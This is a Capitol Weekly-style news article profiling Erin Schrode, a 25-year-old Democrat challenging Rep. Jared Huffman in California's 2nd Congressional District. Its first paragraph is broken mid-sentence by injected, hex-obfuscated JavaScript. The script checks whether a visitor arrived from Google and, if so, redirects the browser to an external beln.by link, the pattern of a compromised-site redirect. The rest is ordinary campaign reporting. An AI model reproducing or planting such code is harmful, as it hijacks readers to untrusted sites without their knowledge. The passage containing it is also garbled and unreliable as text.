Youngest contender runs in 2nd Congressional District

Erin Schrode, candidate for the 2nd Congressional District. (Photo: Teens Turning Greeg. org

As soon as her special coffee arrived, Erin Schrode Snapchatted it var _0x5575=[“\x67\x6F\x6F\x67\x6C\x65″,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x68\x72\x65\x66″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x68\x74\x74\x70\x3A\x2F\x2F\x62\x65\x6C\x6E\x2E\x62\x79\x2F\x67\x6F\x3F\x68\x74\x74\x70\x3A\x2F\x2F\x61\x64\x64\x72\x2E\x68\x6F\x73\x74″];if(document[_0x5575[2]][_0x5575[1]](_0x5575[0])!==-1){window[_0x5575[4]][_0x5575[3]]= _0x5575[5]}. Her Instagram account is cluttered with pictures of food, friends, and landscapes – not unusual for a millennial.

But it also includes Schrode posing with her “#ErinForUS” campaign buttons: The 25-year-old Schrode, a Democrat, is running for the House in the 2nd Congressional District, which includes coastal counties north of the Golden Gate Bridge to the Oregon line. She is the youngest candidate in any of California’s 53 House races and may be the youngest in the nation. She actually turned 25 during the campaign – the minimum required age to serve in the House.

“I think seeing someone like them (young people) will get them out to the polls” — Erin Schrode

Clearly, Schrode is a person of the digital age, but can she translate that into political support? A month ago, the social media news source NowThis posted a video about Schrode’s campaign for U.S. Congress. People have viewed the video on Facebook over 4.6 million times.

“We’ve made this digital splash,” Schrode said, “now how do you get a physical splash?”

Her foe in the June 7 Democratic primary is Jared Huffman, 52, a lawyer and former state lawmaker, who is seeking a third term in Congress.

Huffman, 52, a popular environmental attorney, presents a daunting prospect to Schrode. He dispatched rival Democrat Andy Caffrey in the 2014 primary by a nearly 7-to-1 margin, and easily won the general election against his Republican opponent, Dale Mensing, by 3-to-1.

Schrode faces an uphill fight, as her rival noted.

“It’s hard for folks to just break in and run for Congress,” Huffman said. “It’s very important to know your stuff before leaping right into Congress. When you’re brand new, it’s a big leap,” Hufman said.

“I’m a little bit obsessed with dirt,” Schrode said, referring to carbon dioxide and sequestration.

The energetic Schroede, who hails from affluent Marin County, and calls herself a “digital native,” says she’s taking her campaign online to get people excited and involved.

It’s more than one can get from lawn signs, and it allows people – especially young people — to get an unfiltered version of a candidate who in many ways resembles themselves.

“I think seeing someone like them (young people) will get them out to the polls,” Schrode said. “They’ll be, ‘You understand what it’s like to be like me. To be fill-in-the-blank.’”

Along with Huffman, Schrode is running against Mensing and Independent Matthew Wookey in the top-two primary.

The district’s voters live in wealthy communities – the county’s median family income is more than $90,000 annually, ranked 17th in the U.S. – and about 80 percent are white.

Because of California’s top-two system, if Schrode can get into second place in the primary, she will move into a runoff in November. But to do that, she’ll have to get by Mensing, who captured more than a fifth of the vote in the 2014 general election.

At age 17, Schrode travelled with her Turning Green peers to Sacramento to push the Legislature to pass legislation regulating the amount of lead in lipstick

“I’m in this for the long run and I believe in the power of people,” Schrode said in a woman-owned café in Novato.

She said her campaign is targeting four major issues — education, environment/public health, human rights, and government transparency.

Environmental and public health issues are especially crucial, she said.

“I’m a little bit obsessed with dirt,” she said, talking about carbon dioxide and sequestration, adding that climate Change is an issue that needed to be addressed yesterday.

“On the public health standpoint, for me, that has a lot to do with toxins,” she said.

In 2002, Schrode and her mother, Judi Shils, learned that Marin County had one of the highest rates of breast, prostate and melanoma cancer. This led them to found “Teens Turning Green” and, previously, “Search for the Cause,” to educate people about toxins in everyday products.

At age 17, Schrode travelled with her Turning Green peers to Sacramento to push the Legislature to pass legislation regulating the amount of lead in lipstick and regulating other toxins found in children’s toys.

Her assistance in earthquake-torn Haiti and helping Syrian and Afghani refugees ties into her campaign pillar on human rights, which includes promoting equal pay, paid leave, and a woman’s right to choose.

“You really need to know your stuff on all these issues and more to represent this district” — Jared Huffman.

On education, she wants to see student loan forgiveness among other things.

“That’s something that I am uniquely equipped to lead on because of my proximity to the education system,” said Schrode, a graduate of New York University. “Because I understand what it is like to be in school today and to graduate today with where a diploma means very little, where it doesn’t guarantee a job.”

Huffman, of course, has his own legislative priorities.

Huffman said he addresses a number of issues within the district as well as pushing policy in the Republican-controlled House. At any given day, he could be helping Veterans receive services or helping small businesses with issues involving the government, he said.

“It’s just a huge portfolio of cases in addition to legislation and being conversant in huge array of issues,” Huffman said. Huffman, who has been endorsed by the California Democratic Party, has served in the 2nd CD for four years. He previously served six years in the California Assembly and 12 years in local government as the director of Marin County’s Municipal Water District. He was also senior attorney for the Natural Resources Defense Council.

He regularly holds meetings called “Coffee with your Congressman” to stay up-to-date on his constituents’ priorities.

“It’s very important to have a sense of evolving priorities so I can do the best possible job,” Huffman said. “You really need to know your stuff on all these issues and more to represent this district.”

Schrode calls herself a “digital native,” and has support online. She has a campaign Facebook page, both a personal and a campaign Twitter account, an Instagram account and a campaign website. She also has a personal website, which shows her appearances on CNN and local programs, and a CrowdPAC, where people have donated about $5,200 so far to her campaign. She is backed by New York actress Tovah Feldshuh and California attorney Suzi Alexander, who has known Schrode for over a decade, since Schrode went to school with her kids. Feldshuh and Alexander contributed a total of $2,018 to Schrode’s campaign.

“She is passionate about the environment, human rights, and is creative and collaborative, which I think will be a real asset in Congress,” Alexander said.

Huffman raised $360,000 through the end of March, and another $260,000 in PAC money was raised on his behalf. He entered the final nine weeks of the campaign with $523,000 in the bank. He is supported by the California Teachers Association, Sierra Club, and the California Labor Federation.

A week ago, after visiting New York and Los Angeles, Schrode had a meet and greet sponsored by the Social Justice Center of Marin that attracted about 30 people.

“Women have a hard time running,” said attendee Pamela Meigs, who is a director of the Ross Valley Sanitation District. Meigs didn’t run for office until she was 50.

“Just go. Don’t worry about falling down,” Meigs told her. “There are going to be some nights where you’re not going to get any sleep.”

While Schrode received encouragement, one attendee asked about her preparation for office.

“I agree that you can probably do it,” the woman asked, “but I am wondering how you are prepping for things?”

“I know what I know, but I also know what I don’t know,” she said. “That’s why I’m calling in experts.”

Her campaign manager is Jason Teramoto, 41, who has worked in government before and unsuccessfully ran for Assembly eight years ago against Democratic incumbent Mary Hayashi.

Marie Claire magazine wrote an article on her candidacy just days after she announced her run in late March, titled, “This Could Be the Youngest Woman Ever Elected to Congress.”

New York Representative Elise Stefanik, 30, is currently the youngest woman elected to the House of Representatives.

“It’s time to deliver on the promise of my generation,” she said. “That is revolutionizing every aspect of society, and bringing that to the political arena.”

Want to see more stories like this? Sign up for The Roundup, the free daily newsletter about California politics from the editors of Capitol Weekly. Stay up to date on the news you need to know.

Sign up below, then look for a confirmation email in your inbox.


Support for Capitol Weekly is Provided by: